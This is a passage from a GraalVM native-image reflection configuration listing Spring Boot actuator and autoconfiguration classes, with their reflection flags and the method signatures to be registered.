\"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getStatusCode\",\"parameterTypes\":[\"org.springframework.boot.actuate.health.Status\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.SimpleStatusAggregator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getAggregateStatus\",\"parameterTypes\":[\"java.util.Set\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.Status\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getCode\",\"parameterTypes\":[] }, {\"name\":\"getDescription\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.StatusAggregator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getAggregateStatus\",\"parameterTypes\":[\"org.springframework.boot.actuate.health.Status[]\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.health.SystemHealth\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getGroups\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.info.EnvironmentInfoContributor\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.info.GitInfoContributor\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.info.InfoContributor\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.info.InfoEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.info.JavaInfoContributor\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.info.OsInfoContributor\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.info.ProcessInfoContributor\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.jdbc.DataSourceHealthIndicator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.logging.LogFileWebEndpoint\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.logging.LoggersEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.logging.LoggersEndpoint$GroupLoggerLevelsDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.logging.LoggersEndpoint$LoggerLevelsDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.logging.LoggersEndpoint$LoggersDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.logging.LoggersEndpoint$SingleLoggerLevelsDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.management.HeapDumpWebEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.management.HeapDumpWebEndpoint$HeapDumper\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.management.HeapDumpWebEndpoint$HeapDumperUnavailableException\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.management.ThreadDumpEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.management.ThreadDumpEndpoint$ThreadDumpDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.MetricsEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.MetricsEndpoint$AvailableTag\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.MetricsEndpoint$MetricDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.MetricsEndpoint$MetricNamesDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.MetricsEndpoint$Sample\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.cache.CacheMeterBinderProvider\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.export.prometheus.PrometheusScrapeEndpoint\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.export.prometheus.PrometheusSimpleclientScrapeEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.export.prometheus.TextOutputFormat\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.startup.StartupTimeMetricsListener\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"supportsEventType\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.system.DiskSpaceMetricsBinder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.web.client.ObservationRestClientCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"org.springframework.web.client.RestClient$Builder\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.web.client.ObservationRestTemplateCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"org.springframework.web.client.RestTemplate\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.metrics.web.tomcat.TomcatMetricsBinder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.sbom.SbomEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.sbom.SbomEndpoint$SbomEndpointRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.sbom.SbomEndpoint$Sboms\",\n  \"allDeclaredFields\":true,\n  \"allRecordComponents\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.sbom.SbomEndpointWebExtension\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.sbom.SbomEndpointWebExtension$SbomType\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.sbom.SbomProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.sbom.SbomProperties$Sbom\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.scheduling.ScheduledTasksEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.scheduling.ScheduledTasksEndpoint$CronTaskDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.scheduling.ScheduledTasksEndpoint$CustomTriggerTaskDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.scheduling.ScheduledTasksEndpoint$FixedDelayTaskDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.scheduling.ScheduledTasksEndpoint$FixedRateTaskDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.scheduling.ScheduledTasksEndpoint$IntervalTaskDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.scheduling.ScheduledTasksEndpoint$RunnableDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.scheduling.ScheduledTasksEndpoint$ScheduledTasksDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.scheduling.ScheduledTasksEndpoint$ScheduledTasksEndpointRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.scheduling.ScheduledTasksEndpoint$TaskDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.system.DiskSpaceHealthIndicator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.exchanges.HttpExchangeRepository\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.exchanges.HttpExchangesEndpoint\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.HandlerMethodDescription\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getClassName\",\"parameterTypes\":[] }, {\"name\":\"getDescriptor\",\"parameterTypes\":[] }, {\"name\":\"getName\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.MappingDescriptionProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"describeMappings\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.MappingsEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"mappings\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.MappingsEndpoint$ApplicationMappingsDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getContexts\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.MappingsEndpoint$ContextMappingsDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getMappings\",\"parameterTypes\":[] }, {\"name\":\"getParentId\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.DispatcherServletHandlerMappings\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.DispatcherServletMappingDescription\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getDetails\",\"parameterTypes\":[] }, {\"name\":\"getHandler\",\"parameterTypes\":[] }, {\"name\":\"getPredicate\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.DispatcherServletMappingDetails\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getHandlerMethod\",\"parameterTypes\":[] }, {\"name\":\"getRequestMappingConditions\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.DispatcherServletsMappingDescriptionProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"describeMappings\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"getMappingName\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.DispatcherServletsMappingDescriptionProvider$DispatcherServletsMappingDescriptionProviderRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.FilterRegistrationMappingDescription\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getServletNameMappings\",\"parameterTypes\":[] }, {\"name\":\"getUrlPatternMappings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.FiltersMappingDescriptionProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"describeMappings\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"getMappingName\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.FiltersMappingDescriptionProvider$FiltersMappingDescriptionProviderRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.RegistrationMappingDescription\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getClassName\",\"parameterTypes\":[] }, {\"name\":\"getName\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.RequestMappingConditionsDescription\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getConsumes\",\"parameterTypes\":[] }, {\"name\":\"getHeaders\",\"parameterTypes\":[] }, {\"name\":\"getMethods\",\"parameterTypes\":[] }, {\"name\":\"getParams\",\"parameterTypes\":[] }, {\"name\":\"getPatterns\",\"parameterTypes\":[] }, {\"name\":\"getProduces\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.RequestMappingConditionsDescription$MediaTypeExpressionDescription\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getMediaType\",\"parameterTypes\":[] }, {\"name\":\"isNegated\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.RequestMappingConditionsDescription$NameValueExpressionDescription\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getName\",\"parameterTypes\":[] }, {\"name\":\"getValue\",\"parameterTypes\":[] }, {\"name\":\"isNegated\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.ServletRegistrationMappingDescription\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getMappings\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.ServletsMappingDescriptionProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"describeMappings\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"getMappingName\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.web.mappings.servlet.ServletsMappingDescriptionProvider$ServletsMappingDescriptionProviderRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.admin.SpringApplicationAdminMXBean\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getProperty\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"isReady\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"setEnvironment\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }, {\"name\":\"supportsEventType\",\"parameterTypes\":[\"org.springframework.core.ResolvableType\"] }, {\"name\":\"supportsSourceType\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar$SpringApplicationAdmin\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.ansi.AnsiOutput$Enabled\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfiguration\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigurationExcludeFilter\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigurationImportFilter\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigurationImportListener\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigurationImportSelector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigurationImportSelector$AutoConfigurationGroup\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigurationPackage\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigurationPackages\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigurationPackages$BasePackages\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigurationPackages$Registrar\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigureAfter\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigureBefore\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.AutoConfigureOrder\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.BackgroundPreinitializer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.EnableAutoConfiguration\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.SharedMetadataReaderFactoryContextInitializer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.SharedMetadataReaderFactoryContextInitializer$SharedMetadataReaderFactoryBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.SpringBootApplication\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"springApplicationAdminRegistrar\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.aop.AopAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$AspectJAutoProxyingConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$AspectJAutoProxyingConfiguration$CglibAutoProxyConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"applicationAvailability\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.batch.JobRepositoryDependsOnDatabaseInitializationDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.cache.CacheAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.cache.CacheAutoConfiguration$CacheConfigurationImportSelector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.cache.CacheCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.cache.CacheType\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionEvaluationReportAutoConfigurationImportListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.condition.ConditionalOnBean\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  